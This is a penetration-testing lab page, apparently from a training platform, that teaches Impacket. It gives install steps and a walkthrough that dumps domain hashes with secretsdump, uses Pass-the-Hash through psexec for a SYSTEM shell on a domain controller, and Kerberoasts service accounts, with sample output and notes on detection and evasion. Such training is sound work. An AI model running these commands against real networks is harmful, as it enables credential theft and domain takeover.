Impacket
The Python toolkit that speaks Windows protocols natively for remote attacks.
Lab Overview
Impacket isn't one tool — it's a collection of Python classes that implement Windows network protocols (SMB, MSRPC, Kerberos, LDAP, NTLM) from the ground up. Because it speaks these protocols natively, its example scripts let you act like a Windows host from a Linux attacker box: execute commands remotely, dump domain secrets, forge tickets, and relay credentials, all without touching a Windows machine. In this lab you'll wield the legendary trio — secretsdump, psexec, and GetUserSPNs — to move through a domain entirely from your terminal.
Learning Objectives
- 1Remotely dump SAM, LSA secrets, and NTDS.dit with secretsdump.py
- 2Execute commands on remote hosts via psexec, smbexec, and wmiexec
- 3Perform Pass-the-Hash authentication across the entire toolkit
- 4Run Kerberoasting and AS-REP roasting with GetUserSPNs and GetNPUsers
Ensure you have a stable VPN connection before launching. The instance will automatically terminate after the allotted duration or upon manual shutdown.
Why Choose This Tool?
Impacket is the connective tissue of modern AD attacks. Almost every higher-level tool — NetExec/CrackMapExec, BloodHound ingestors, ntlmrelayx — is built on its protocol implementations. Because it talks SMB/MSRPC/Kerberos directly, you rarely need a Windows box or a dropped agent: secretsdump pulls NTDS over DRSUAPI like real DC replication, and Pass-the-Hash is a first-class flag on every script. It's the most surgical, OPSEC-tunable way to operate against Windows from Linux.
Pros
- •Native Python implementations of SMB, MSRPC, Kerberos, LDAP, and NTLM — no Windows host required
- •Pass-the-Hash is built into every script via the -hashes flag
- •secretsdump pulls NTDS.dit remotely over DRSUAPI, mimicking legitimate DC replication
- •Multiple execution methods (psexec/smbexec/wmiexec/atexec/dcomexec) to dodge host-specific detections
Cons
- •psexec drops a randomly-named service binary and creates a service — Event ID 7045 and 5145 light up SIEMs
- •DRSUAPI secretsdump generates Directory Service replication events (4662) from a non-DC source — a strong DCSync detection
- •Default service/share names and RemComSvc-style artifacts are signatured by EDR and published Sigma rules
- •Every remote auth produces Event ID 4624 Logon Type 3, and PtH adds NTLM-where-Kerberos-is-expected anomalies
Installation
Impacket installs from PyPI and exposes its example scripts as impacket-* binaries.
# Isolated, upgradable install via pipx (recommended)$ python3 -m pipx install impacket # ...or from source for the very latest scripts$ git clone https://github.com/fortra/impacket.git$ cd impacket && python3 -m pip install . # Verify$ impacket-secretsdump -hImpacket v0.12.0 - Copyright Fortra, LLCEvery script accepts the same domain/user:password@target connection syntax shown below.
How to Use
Mission: You cracked the password for CORP\svc_sql, a local admin on several hosts. Objective: dump the domain's hashes from the DC and land a SYSTEM shell — entirely from your Linux box.
# 1. Remotely replicate domain secrets over DRSUAPI (NTDS.dit, no agent dropped)$ impacket-secretsdump corp.local/svc_sql:'P@ssw0rd123!'@win-dc01.corp.localImpacket v0.12.0 - Copyright Fortra, LLC[*] Target system bootKey: 0x8e3f1a...[*] Using the DRSUAPI method to get NTDS.DIT secretscorp.local\Administrator:500:aad3b...:64f12cddaa88057e06a81b54e73b949b:::corp.local\krbtgt:502:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99:::[SUCCESS] Domain hash dump complete # 2. Pass-the-Hash into a SYSTEM shell on the DC with psexec$ impacket-psexec -hashes :64f12cddaa88057e06a81b54e73b949b corp.local/Administrator@win-dc01.corp.local[*] Requesting shares on win-dc01.corp.local.....[*] Uploading file kXyZpQ.exe[*] Creating service aBcD on win-dc01.corp.local.....[*] Starting service aBcD.....[!] Press help for extra shell commandsC:\Windows\system32> whoamint authority\system[SUCCESS] SYSTEM shell on the Domain ControllerWant to stay quiet and skip the noisy service install? Kerberoast service accounts instead:
$ impacket-GetUserSPNs corp.local/svc_sql:'P@ssw0rd123!' -dc-ip 10.10.10.10 -requestServicePrincipalName Name MemberOfMSSQLSvc/win-sql01:1433 svc_mssql CN=Domain Admins,CN=Users,DC=corp,DC=local$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc... # crack offline: hashcat -m 13100[SUCCESS] TGS-REP hash captured for svc_mssqlRoasting rides only normal Kerberos traffic (Event ID 4769) — far quieter than dropping a service binary.